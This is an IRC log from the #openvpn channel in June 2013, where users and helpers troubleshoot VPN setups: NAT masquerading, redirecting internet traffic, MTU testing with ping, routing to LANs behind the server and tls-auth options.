19:07 < cornfeedhobo> soo. i could be wrong, but i think you didnt masquerade properly
19:08 < cornfeedhobo> one sec
19:08 < totality> oh i can give tyou an iptable.conf output if you want its a little mroe informative
19:08 < cornfeedhobo> not needed, you need to just add an output interface
19:09 < cornfeedhobo> iptables -t nat -A POSTROUTING -s 10.8.0.0/24 -o eth0 -j MASQUERADE
19:09 < cornfeedhobo> like such (adjust to subnet)
19:09 < totality> i did specify that it didnt seem to do anythign ill del the odl line and try again
19:09 < cornfeedhobo> this is a okay guide for a basic setup http://safesrv.net/install-openvpn-on-centos/
19:09 <@vpnHelper> Title: Installing OpenVPN on CentOS 5 and CentOS 6 (at safesrv.net)
19:09 < cornfeedhobo> but it uses csf
19:10 < totality> csf ???
19:10 < cornfeedhobo> ConfigServer Firewall
19:10 < totality> ahh right
19:10 < cornfeedhobo> but you can adjust
19:10 < cornfeedhobo> also try to clear all iptables rules and then just masquerade
19:10 -!- AsadH [~AsadH@unaffiliated/asadh] has joined #openvpn
19:11 < cornfeedhobo> that way you know its not a default rule killing you
19:11 -!- uuuppz [~kvirc@77.107.233.34] has quit [Ping timeout: 256 seconds]
19:11 < cornfeedhobo> i unfortunately have to run. good luck :)
19:22 -!- totality_ [~totality@92.40.254.33.threembb.co.uk] has joined #openvpn
19:24 -!- totality [~totality@92.40.254.33.threembb.co.uk] has quit [Ping timeout: 246 seconds]
19:24 -!- totality_ [~totality@92.40.254.33.threembb.co.uk] has quit [Read error: Connection reset by peer]
19:49 -!- havoc [~havoc@neptune.chaillet.net] has quit [Ping timeout: 245 seconds]
20:06 < cornfeedhobo> well, no matter what i do both interfaces keep the same ip
20:06 -!- hfp [~user@ovpn.t28.net] has joined #openvpn
20:08 < hfp> Hey guys, I saw somewhere how to dump your .conf file and piping it to grep to strip all the comments and output only the active config options.... But I can't find how to do it anymore. Anybody knows what I am talking about?
20:08 -!- tjz [~tjz@unaffiliated/tjz] has joined #openvpn
20:17 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 264 seconds]
20:17 -!- raidz is now known as raidz_away
20:20 < cornfeedhobo> No matter what i do, when openvpn starts, it whacks the perfectly working bridge. wtf?"
20:29 -!- havoc [~havoc@neptune.chaillet.net] has joined #openvpn
20:33 -!- sythe [b89410f1@facade/leader] has joined #openvpn
20:33 < sythe> Hey
20:40 -!- tjz [~tjz@unaffiliated/tjz] has quit [Ping timeout: 246 seconds]
20:42 -!- tjz [~tjz@unaffiliated/tjz] has joined #openvpn
20:51 < sythe> Do you need a port set to connect to a gateway?
20:51 < sythe> I have an ovpn file
20:51 < sythe> and IDK what to do with it
20:59 -!- havoc [~havoc@neptune.chaillet.net] has quit [Remote host closed the connection]
20:59 -!- tjz [~tjz@unaffiliated/tjz] has quit [Ping timeout: 260 seconds]
21:00 -!- havoc [~havoc@neptune.chaillet.net] has joined #openvpn
21:00 < sythe> "openvpn –config proxpn.ovpn Options error: I'm trying to parse "–config" as an --option parameter but I don't see a leading '--'"
21:00 < sythe> I tried using --config too
21:01 < sythe> !goal
21:01 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
21:01 < sythe> I would like to access the internet over my vpn
21:04 -!- havoc [~havoc@neptune.chaillet.net] has quit [Ping timeout: 248 seconds]
21:07 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
21:11 < sythe> C'mon, is everyone in Europe?
21:14 < EugeneKay> !redirect
21:14 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
21:14 <@vpnHelper> http://ircpimps.org/redirect.png or (#5) flowchart mirror at http://pekster.sdf.org/misc/redirect.png
21:14 < EugeneKay> sythe ^
21:14 < sythe> EugeneKay: Explain?
21:14 < EugeneKay> The bot oes it pretty well
21:15 < sythe> Seems legit...
21:15 < sythe> -.-
21:15 < sythe> For someone who has never touched VPN before
21:15 < EugeneKay> !howto
21:15 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
21:15 < EugeneKay> Get basic connectivity working first, per the flowchart
21:15 < EugeneKay> Then add the pieces listed above
21:17 -!- havoc [~havoc@neptune.chaillet.net] has joined #openvpn
21:19 < sythe> EugeneKay: There's no "I don't know" option on that flowchart
21:20 < sythe> EugeneKay: Is there anything easier than openVPN?
21:21 < sythe> Because this doesn't seem friendly to even normal geeks
21:21 < EugeneKay> For sending your web traffic through another host? Sure, proxy servers.
21:21 < EugeneKay> This is plenty friendly. It's just networking :-p
21:21 < sythe> I've been running various Linux distros for years
21:21 < sythe> oh, hell
21:21 < sythe> networking is hell.
21:21 < sythe> I forgot.
21:21 -!- havoc [~havoc@neptune.chaillet.net] has quit [Ping timeout: 240 seconds]
21:22 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
21:28 -!- havoc [~havoc@neptune.chaillet.net] has joined #openvpn
21:34 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has joined #openvpn
21:42 -!- Moonlightning [~blackl@unaffiliated/moonlightning] has quit [Quit: Moonlightning]
21:54 -!- havoc [~havoc@neptune.chaillet.net] has quit [Ping timeout: 248 seconds]
21:55 -!- havoc [~havoc@neptune.chaillet.net] has joined #openvpn
22:01 -!- Dropje [~yge@ip4da6274e.direct-adsl.nl] has quit [Read error: Connection reset by peer]
22:02 -!- Dropje [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
22:04 -!- novaflash [~novaflash@openvpn/corp/support/novaflash] has quit [Read error: Operation timed out]
22:06 -!- novaflash [~novaflash@vpnserver1.jellemaautomatisering.nl] has joined #openvpn
22:07 -!- havoc [~havoc@neptune.chaillet.net] has quit [Remote host closed the connection]
22:08 -!- havoc [~havoc@neptune.chaillet.net] has joined #openvpn
22:09 -!- speed_racer84 [~speed_rac@173.45.222.229] has joined #openvpn
22:10 < ngharo> can ping hosts on a server-side LAN but can't access services like HTTP
22:10 < ngharo> thoughts?
22:11 < ngharo> seemed like MTU to me but --mtu-test shows NOTE: Empirical MTU test completed [Tried,Actual] local->remote=[1541,1541] remote->local=[1541,1541]
22:11 < ngharo> and im at 1500
22:11 < ngharo> i dont have access to the server right now, will tomorrow morning but looking for pointers that I can try when I get back to the office
22:13 < ngharo> weird thing is that it was working (i was SSHd into my workstation on the server LAN) about an hour ago
22:13 < ngharo> now im just confused
22:16 < pekster> firewall or MTU are good bets
22:16 < pekster> nevermind testing the MTU, just send a max-sized packet with DF set across your link
22:16 < pekster> Ideally disable compression during the test so you don't get artificially smaller tunneled packets
22:17 < ngharo> sorry, DF = ?
22:20 < pekster> The Don't Fragment bit
22:20 < pekster> see your preferred ping tool's manpage
22:22 < ngharo> gotcha, thanks
22:22 < ngharo> PING 10.10.5.53 (10.10.5.53) 1472(1500) bytes of data.
22:22 < ngharo> works
22:23 -!- sythe [b89410f1@facade/leader] has quit [Quit: Page closed]
22:23 < ngharo> anything higher and i'm above the interface MTU and ping barks at me
22:23 < ngharo> guessing it's the firewall.  I'll look there tomorrow I spose
22:26 < pekster> Just be sure you explicitly disabled the lzo compression, since 'adaptive' is the default
22:27 < pekster> (otherwise the actual packet size over the wire is smaller)
22:27 < pekster> ping's default payload tends to be highly compressible
22:27 < ngharo> oh yea; i'll need to do that on both ends though eh
22:27 < ngharo> it didnt seem to like when i disabled it on my client (server has comp-lzo enabled)
22:28 < ngharo>  write to TUN/TAP : Invalid argument (code=22) with comp-lzo commented on my client
22:29 < pekster> You need --comp-lzo off
22:29 < pekster> See th emanpage
22:30 < pekster> `--comp-lzo no` actually
22:31 < ngharo> ping -s 1472 -M do 10.10.5.53 still works
22:31 -!- havoc [~havoc@neptune.chaillet.net] has quit [Ping timeout: 256 seconds]
22:31 < pekster> Great, that rules out MTU issues
22:31 < ngharo> cool, thanks.  Now I've got an idea where to start tomorrow
22:31 -!- havoc [~havoc@neptune.chaillet.net] has joined #openvpn
23:34 -!- Wintereise [~reise@unaffiliated/wintereise] has joined #openvpn
23:59 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 252 seconds]
--- Day changed Thu Jun 27 2013
00:24 <@krzee> !gigabit
00:24 <@vpnHelper> "gigabit" is https://community.openvpn.net/openvpn/wiki/Gigabit_Networks_Linux for JJK's writeup on getting the most out of openvpn over gigabit
00:24 -!- Mava [~Mava@ip-45-201.dhcp.opintanner.fi] has left #openvpn []
00:24 <@krzee> nice writeup that talks about mtu testing with ping
00:25 <@krzee> oh wait no it doesnt
00:25 <@krzee> sorry, it talks about mtu tuning, but still a good read
00:27 < pekster> Which is largely irrelevent in the real (1500-byte MTU) world
00:27 < pekster> Or 1492, for those unlucky enough to have PPPoE
00:33 <@krzee> nice read for those of us who only dream of gigabit
00:40 -!- Devastator [~devas@177.99.154.82] has joined #openvpn
00:40 -!- Devastator [~devas@177.99.154.82] has quit [Changing host]
00:40 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
00:43 -!- emmanuelux [~emmanuelu@192.123.25.109.rev.sfr.net] has quit [Quit: emmanuelux]
00:49 -!- monk [~aknm@196.14.139.96] has joined #openvpn
00:49 -!- monk [~aknm@196.14.139.96] has quit [Changing host]
00:49 -!- monk [~aknm@unaffiliated/aknm] has joined #openvpn
00:57 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has quit [Ping timeout: 252 seconds]
00:59 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has joined #openvpn
01:02 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 246 seconds]
01:02 -!- tjz [~tjz@unaffiliated/tjz] has joined #openvpn
01:12 -!- novaflash [~novaflash@vpnserver1.jellemaautomatisering.nl] has quit [Changing host]
01:12 -!- novaflash [~novaflash@openvpn/corp/support/novaflash] has joined #openvpn
01:12 -!- mode/#openvpn [+o novaflash] by ChanServ
01:20 -!- speed_racer84 [~speed_rac@173.45.222.229] has quit [Ping timeout: 248 seconds]
01:29 -!- mikkel [~mikkel@80-198-36-38-static.dk.customer.tdc.net] has joined #openvpn
01:50 -!- Devastator [~devas@177.99.154.82] has joined #openvpn
01:51 -!- Devastator [~devas@177.99.154.82] has quit [Changing host]
01:51 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
02:04 -!- krzee [~k@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer]
02:04 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn
02:04 -!- mode/#openvpn [+o krzee] by ChanServ
02:07 -!- p3rror [~p3rror@41.249.253.52] has joined #openvpn
02:08 -!- mattock_afk is now known as mattock
02:09 -!- fischli [~fischli@data.fischer-ing.de] has joined #openvpn
02:15 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
02:17 < cornfeedhobo> pekster: okay... so you were right.
02:29 -!- hazardous [~hz@openvpn/user/hazardous] has quit [Ping timeout: 248 seconds]
02:29 -!- Champi [Champi@rootshell.fr] has quit [Ping timeout: 260 seconds]
02:30 -!- Dropje [~yge@ip4da6274e.direct-adsl.nl] has quit [Ping timeout: 248 seconds]
02:30 -!- sander^work [~sanderj@195.204.103.102] has quit [Read error: Connection reset by peer]
02:32 -!- Champi [Champi@rootshell.fr] has joined #openvpn
02:35 -!- Netsplit *.net <-> *.split quits: e-ndy, Jaga, Serano, kantlivelong, Devastator, |1li, crane, BasicXP, clever, defswork,  (+38 more, use /NETSPLIT to show all of them)
02:36 -!- hazardous [~hz@openvpn/user/hazardous] has joined #openvpn
02:36 -!- mode/#openvpn [+v hazardous] by ChanServ
02:37 -!- sanderj_ [~sanderj@195.204.103.102] has joined #openvpn
02:37 -!- Dropje_ [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
02:37 -!- Netsplit over, joins: Devastator, mikkel, |1li, dimm0k, Cultist, lbft, skered-, cornfeedhobo, xBytez, _val__ (+23 more)
02:37 -!- mete [~mete@mete.shell.la] has joined #openvpn
02:37 -!- Netsplit over, joins: riddle, jgeboski, hjohnson, RealRancor, Varazir, rawtaz, i7c, clever, saneki, moartr4dez (+4 more)
02:38 -!- brad [~brad@78.129.242.122] has quit [Quit: No Ping reply in 150 seconds.]
02:38 -!- Dropje_ is now known as Dropje
02:38 -!- brad [~brad@78.129.242.122] has joined #openvpn
02:44 -!- backjlack [~quassel@unaffiliated/backjlack] has quit [Ping timeout: 268 seconds]
02:44 -!- jtrucks [jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has quit [Read error: Connection reset by peer]
02:44 -!- jtrucks [jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has joined #openvpn
02:52 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
03:11 -!- lbft [~lbft@unaffiliated/lbft] has quit [Read error: Operation timed out]
03:12 -!- ShapeShifter499 [ShapeShift@bounce.around.the.world.panicbnc.net] has quit [Ping timeout: 245 seconds]
03:16 -!- ShapeShifter499 [ShapeShift@bounce.around.the.world.panicbnc.net] has joined #openvpn
03:20 -!- ShapeShifter499 [ShapeShift@bounce.around.the.world.panicbnc.net] has quit [Excess Flood]
03:22 -!- lbft [~lbft@unaffiliated/lbft] has joined #openvpn
03:24 -!- ShapeShifter499 [ShapeShift@bounce.around.the.world.panicbnc.net] has joined #openvpn
03:40 -!- uuuppz [~kvirc@77.107.233.34] has joined #openvpn
03:49 -!- ade_b [~Ade@92.40.253.23.threembb.co.uk] has joined #openvpn
03:49 -!- ade_b [~Ade@92.40.253.23.threembb.co.uk] has quit [Changing host]
03:49 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
04:06 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Ping timeout: 248 seconds]
04:06 -!- Willis_ [Willis@173.234.237.131] has quit [Ping timeout: 276 seconds]
04:09 -!- Willis [Willis@173.234.237.131] has joined #openvpn
04:11 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
04:15 -!- kubbing [~kubbing@ip-78-102-124-253.net.upcbroadband.cz] has joined #openvpn
04:17 -!- HectorBarbossa [uid7850@gateway/web/irccloud.com/x-dqyplpqnsopcsuio] has joined #openvpn
04:20 -!- kubbing [~kubbing@ip-78-102-124-253.net.upcbroadband.cz] has quit [Ping timeout: 248 seconds]
04:43 -!- kubbing [~kubbing@static-84-242-120-52.net.upcbroadband.cz] has joined #openvpn
04:47 -!- ade_b [~Ade@redhat/adeb] has quit [Remote host closed the connection]
04:48 -!- Mike-- [mad@probie.xs4all.nl] has quit []
04:51 -!- kubbing [~kubbing@static-84-242-120-52.net.upcbroadband.cz] has quit [Remote host closed the connection]
05:00 -!- kubbing [~kubbing@static-84-242-120-52.net.upcbroadband.cz] has joined #openvpn
05:05 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
05:11 -!- kubbing [~kubbing@static-84-242-120-52.net.upcbroadband.cz] has quit [Ping timeout: 252 seconds]
05:18 -!- Denial [Denial@90.205.133.229] has joined #openvpn
05:24 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
05:25 -!- kubbing [~kubbing@static-84-242-120-52.net.upcbroadband.cz] has joined #openvpn
05:30 -!- kubbing [~kubbing@static-84-242-120-52.net.upcbroadband.cz] has quit [Remote host closed the connection]
05:30 -!- michaelhart [~michaelha@162.209.54.120] has joined #openvpn
05:37 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has joined #openvpn
06:01 -!- dxtr [~dxtr@unaffiliated/dxtr] has quit [Quit: leaving]
06:09 -!- dxtr [~dxtr@gateway/tor-sasl/dxtr] has joined #openvpn
06:11 -!- WormFood [~wormfood@210.21.240.227] has quit [Ping timeout: 256 seconds]
06:14 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
06:15 -!- WormFood [~wormfood@120.128.2.171] has joined #openvpn
06:21 -!- MariusIT [~MariusIT@85-204-46-12.etth.opensys.ro] has joined #openvpn
06:32 -!- skered- [~dereks@71.206.246.125] has left #openvpn []
06:48 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has quit [Read error: Connection reset by peer]
06:49 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has joined #openvpn
06:57 -!- viper [~itpings@89.218.38.200] has joined #openvpn
06:57 < viper> hi
06:58 -!- viper is now known as Guest63340
07:00 -!- Guest63340 [~itpings@89.218.38.200] has quit [Client Quit]
07:00 -!- Guest63340 [~itpings@89.218.38.200] has joined #openvpn
07:01 -!- Guest63340 [~itpings@89.218.38.200] has left #openvpn []
07:01 -!- itpings [~itpings@89.218.38.200] has joined #openvpn
07:01 < itpings> hi
07:01 < itpings> guys i need some help
07:02 < itpings> the issue is with routing ...i am unable to ping to my internal Lan
07:02 < itpings> every thing is good but no sir no pings
07:03 -!- Alina-malina [~Alina-mal@37.252.64.138] has quit [Ping timeout: 246 seconds]
07:03 < itpings> kindly i ask for the help
07:03 < itpings> so any one ?
07:09 -!- Alina-malina [Alina-mali@37.252.64.138] has joined #openvpn
07:09 -!- hipodilski [~hipo@pc-freak.net] has joined #openvpn
07:09 < hipodilski> hi I need some help
07:10 < hipodilski> I just configured openvpn I can connect to remote host and all is fine, however I have problem with routing the tap device created on windows host doesn't have set router
07:10 < hipodilski> on linux host I have tun device appearing to which I can connect 10.8.0.1
07:10 < hipodilski> my windows host is assigned 10.8.0.14
07:10 < hipodilski> pinging from windows to 10.8.0.1 doesn't return anything
07:11 < hipodilski> anyways it shows connected the tap device as "Undefined Network"
07:11 < hipodilski> Unidentified Network*
07:11 < hipodilski> I tried adding some iptables MASQUARADE rules as suggested by tutorial but this made no change
07:12 < itpings> hi hipo try with tun instead of tap first
07:12 < itpings> just a little advise
07:12 < itpings> i am just stuck with routing
07:14 < itpings> cannot ping to the Lan connected with the Linux server
07:14 -!- Alina-malina [Alina-mali@37.252.64.138] has quit [Ping timeout: 240 seconds]
07:17 -!- speed_racer84 [~speed_rac@173.45.222.229] has joined #openvpn
07:18 < itpings> so guys any help ??
07:21 < fischli> itpings: that's just little on information about your setting, could be everything
07:22 -!- speed_racer84 [~speed_rac@173.45.222.229] has quit [Ping timeout: 256 seconds]
07:22 < itpings> hi fischli
07:22 < itpings> the thing is its connecting fine, pinging the server ip , pinging the tun ip and pinging the eth1 ip
07:23 < itpings> also server can ping back to the vpn client
07:25 < fischli> itpings: so the setting is ok for a peer-to-peer connect and now you are missing forwarding through the tunnel?
07:25 < itpings> but its unable to ping to the lan connected with server via eth1
07:25 < itpings> exactly
07:25 < itpings> i enabled ip forwarding
07:26 < itpings> add the tun+ rules to accept the traffic
07:26 < itpings> and even added the rule in forward chain to accept all traffic from my lan and vice versa
07:26 < itpings> but still invain
07:27 < fischli> itpings: and the clients, you are trying to reach, know the way back to your tunnel endpoint?
07:27 < itpings> but i added routes on the server
07:28 < fischli> itpings: and for the client?
07:28 < itpings> and even added routes on the client machines connected with openvpn client
07:29 < itpings> i mean where i have installed openvpn client
07:29 < fischli> itpings: you already sniffed the lan-interface of your server for outgoing traffic to the client
07:30 < itpings> i tried all the possible combination but feel in the trap
07:30 < itpings> yes i did
07:30 < itpings> its sending the packets but never getting back
07:30 < itpings> i tried with tap and same thing
07:30 < itpings> with tun same thing
07:31 -!- Sidewinder [~de@unaffiliated/sidewinder] has joined #openvpn
07:32 < fischli> itpings: if you saw outgoing traffic to your clients (in the lan) and no traffic returns, then you do have a routing/(firewall) problem on the lan clients
07:33 -!- cyberspace- [20253@ninthfloor.org] has quit [Remote host closed the connection]
07:34 < itpings> on the client
07:34 < fischli> itpings: just for debugging complex routing scenarios, you have to take a closer look on every interface. Does the packet come in and does it leave ... follow the traffic!
07:35 -!- Alina-malina [Alina-mali@82.199.216.148] has joined #openvpn
07:36 < fischli> itpings: it's not a primary openvpn problem when your routing doesn't work
07:36 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
07:36 < itpings> ok i am trying now
07:37 -!- Poster|x [~poster@cpe-173-88-34-118.columbus.res.rr.com] has joined #openvpn
07:37 < itpings> is this line correct ?
07:37 < itpings> push "route 192.168.1.0 255.255.255.0 net_gateway"
07:38 < itpings> or it should be push "route 192.168.1.0 255.255.255.0 "
07:39 -!- Poster [~poster@cpe-173-88-34-118.columbus.res.rr.com] has quit [Ping timeout: 256 seconds]
07:40 < fischli> itpings: second one, you push routes to the client on the tunnel-endpoint and now he will know what network is on your side (cloud be also done by static routing)
07:41 < jzaw> you use the net_gateway push to make sure your client can reach your vpn server outside of the vpn
07:41 < itpings> yeah i used the second one
07:42 < itpings> same result
07:42 < itpings> vpn connects perfectly
07:43 < itpings> i am using certificate based conn
07:43 < itpings> server  just not forwarding the packets
07:44 < itpings> if you could advise any good howto or troubleshooting article i would really appreciate it
07:45 < itpings> and will post my exp
07:46 -!- _lb_ [~lb@rrcs-208-105-81-40.nyc.biz.rr.com] has joined #openvpn
07:46 < itpings> tracert is showing that its using the tun0 (gateway)
07:47 < itpings> but then ******
07:47 < itpings> no returns
07:48 < itpings> anyway thanks a lot ...will return soon
07:48 -!- zeroXten [~zeroXten@0x10.co.uk] has quit [Read error: Operation timed out]
07:49 < fischli> take a close look on tun0 and the corresponding lan interface of your server and follow your traffic with tcpdump
07:49 -!- sanderj_ [~sanderj@195.204.103.102] has quit [Ping timeout: 252 seconds]
07:49 -!- JesseC [~Chumba@wsip-98-175-20-126.br.br.cox.net] has quit [Read error: Connection reset by peer]
07:49 -!- JesseC [~Chumba@wsip-98-175-20-126.br.br.cox.net] has joined #openvpn
07:51 -!- emid [~emid@ec2-107-22-8-196.compute-1.amazonaws.com] has quit [Read error: Operation timed out]
07:52 -!- xTz [xtz@deathstar.techn0.eu] has quit [Ping timeout: 268 seconds]
07:52 -!- zeroXten [~zeroXten@0x10.co.uk] has joined #openvpn
07:53 -!- xTz [xtz@DeathStar.Techn0.eu] has joined #openvpn
07:53 -!- xTz is now known as Guest70480
07:55 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
07:56 -!- emid [~emid@ec2-107-22-8-196.compute-1.amazonaws.com] has joined #openvpn
08:01 -!- speed_racer84 [~speed_rac@173.45.222.229] has joined #openvpn
08:02 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
08:02 -!- Guest70480 [xtz@DeathStar.Techn0.eu] has quit [Ping timeout: 240 seconds]
08:10 -!- xTz_ [xtz@DeathStar.Techn0.eu] has joined #openvpn
08:15 -!- ade_b [~Ade@94.125.18.11] has joined #openvpn
08:15 -!- ade_b [~Ade@94.125.18.11] has quit [Changing host]
08:15 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
08:19 -!- hfp [~user@ovpn.t28.net] has quit [Ping timeout: 246 seconds]
08:31 -!- rv [~rv@unaffiliated/rv] has joined #openvpn
08:31 < rv> hi
08:32 < rv> is there any way to know to which of remote servers client is connected?
08:33 < rv> i have master and slave remote in my client config and i want to know to which of tem client is actually connected
08:53 <@ecrist> look at the openvpn status log
08:57 < rv> but without log
09:03 -!- cerettala_laptop [~cerettala@webcom.graysonhead.net] has joined #openvpn
09:03 -!- speed_racer84 [~speed_rac@173.45.222.229] has quit [Ping timeout: 257 seconds]
09:03 -!- rv [~rv@unaffiliated/rv] has quit [Quit: Wychodzi]
09:08 < cerettala_laptop> 0/ Gents. I am having a problem with several clients who I've recently installed OpenVPN nodes for. They all seem to be working fine, but windows fails to add the routes with an "ROUTE: route addition failed using CreateIpForwardEntry: One or more arguments are not correct." message. I am running the program as administrator, UAC is disabled, and even when I set the logging verbosity to max it doesn't give me any more information than t
09:08 < cerettala_laptop> I've also tried adding route-method exe to the client configs
09:09 < cerettala_laptop> but it doesn't make a difference
09:11 < fischli> rv: through the management interface?
09:12 -!- iliv [~iliv@5.248.193.200] has joined #openvpn
09:15 < iliv> hi, I'm trying to set up a VPN link between two linux hosts. I use PKI and tls-auth etc. per the official how-to and I can get client to connect to a server, but I can't ping neither ends. Firewall is not used at all. System logs don't seem to have nothing unusual, what else should I check?
09:17 < iliv> I'm not sure about one thing, it's the keys CN field. Does it really have to match the hostname? Do key/crt files have to match that particular name or they could be named anything (which wouldn't be very convenient, of course)?
09:27 -!- speed_racer84 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
09:30 < iliv> alright, stupid me
09:31 < iliv> I figured out why I couldn't ping the hosts
09:31 < iliv> and it answers my questions, no CN doesn't have to really match a host's hostname
09:31 < iliv> :)
09:39 -!- bitcrusher [~bleedingp@c-24-16-218-146.hsd1.wa.comcast.net] has joined #openvpn
09:40 < bitcrusher> Hello, I manage to connect to my vpn server I hosted on a ubuntu vps but on my windows 8.. it doesn't route my webtraffic, if try to do whatsmyip it still shows my old ip
09:40 < bitcrusher> !welcome
09:41 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
09:41 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
09:41 < bitcrusher> !redirect
09:41 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
09:41 <@vpnHelper> http://ircpimps.org/redirect.png or (#5) flowchart mirror at http://pekster.sdf.org/misc/redirect.png
09:47 -!- MikeH [MikeH@2a01:7e00::f03c:91ff:fe93:f271] has quit [Ping timeout: 245 seconds]
09:48 -!- Neal_ [~neal@felix.ineal.me] has joined #openvpn
09:50 < Neal_> so openvpn just suddenly started using a lot of CPU on the server and on the client
09:53 < iliv> uh, what about tls-auth guys, does it make any sense to use more than one tls-auth *.key record?
09:53 -!- monk [~aknm@unaffiliated/aknm] has quit [Quit: Leaving]
09:53 < iliv> I'm told that before the official how-to featured an example with two tls-auth keys, but currently it mentions just one
09:57 -!- MikeH [MikeH@2a01:7e00::f03c:91ff:fe93:f271] has joined #openvpn
09:59 -!- Devastator- [~devas@177.18.196.29] has joined #openvpn
10:00 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 246 seconds]
10:02 <@plaisthos> iliv: there can be only one tls-auth key
10:03 <@plaisthos> if you specify multiple in your config only the last one will be used
10:04 -!- fischli [~fischli@data.fischer-ing.de] has left #openvpn []
10:06 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has quit [Remote host closed the connection]
10:06 < iliv> plaisthos, thank you. what is the difference between proto tcp on both server and client vs proto tcp-server and proto tcp-client?
10:09 -!- MikeH [MikeH@2a01:7e00::f03c:91ff:fe93:f271] has quit [Ping timeout: 245 seconds]
10:11 -!- bitcrusher1 [~bleedingp@c-24-16-218-146.hsd1.wa.comcast.net] has joined #openvpn
10:11 -!- Devastator- [~devas@177.18.196.29] has quit [Changing host]
10:11 -!- Devastator- [~devas@unaffiliated/devastator] has joined #openvpn
10:11 -!- Devastator- is now known as Devastator
10:12 -!- bitcrusher2 [~bleedingp@c-24-16-218-146.hsd1.wa.comcast.net] has joined #openvpn
10:13 -!- bitcrusher [~bleedingp@c-24-16-218-146.hsd1.wa.comcast.net] has quit [Ping timeout: 276 seconds]
10:14 < bitcrusher2> How would I redirect all traffic through my vpn? I have ;push "redirect-gteway def1 bypass-dhcp"
10:15 < bitcrusher2> but ti doesn't redirect anything.. I am connected to my vpn
10:15 -!- MikeH [MikeH@2a01:7e00::f03c:91ff:fe93:f271] has joined #openvpn
10:16 -!- bitcrusher1 [~bleedingp@c-24-16-218-146.hsd1.wa.comcast.net] has quit [Ping timeout: 256 seconds]
10:16 -!- Handrix [~p3rror@41.249.253.52] has joined #openvpn
10:16 -!- p3rror [~p3rror@41.249.253.52] has quit [Read error: No route to host]
10:21 -!- Handrix [~p3rror@41.249.253.52] has left #openvpn ["Leaving"]
10:21 -!- p3rror [~p3rror@41.249.253.52] has joined #openvpn
10:21 -!- mikkel [~mikkel@80-198-36-38-static.dk.customer.tdc.net] has quit [Quit: Leaving]
10:22 -!- raidz_away is now known as raidz
10:26 -!- MariusIT [~MariusIT@85-204-46-12.etth.opensys.ro] has quit [Quit: Nettalk6 - www.ntalk.de]
10:27 -!- TheWarden [~chatzilla@S0106e0469a3d83ef.ss.shawcable.net] has joined #openvpn
10:27 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 256 seconds]
10:29 -!- vaq [~lars@vaq/unaffiliated] has joined #openvpn
10:29 < vaq> does openvpn --remote not support ipv6 address?
10:30 -!- takamichi [~takamichi@217.23.5.63] has joined #openvpn
10:30 < bitcrusher2> blarg
10:31 -!- MikeH [MikeH@2a01:7e00::f03c:91ff:fe93:f271] has quit [Quit: ZNC - http://znc.sourceforge.net]
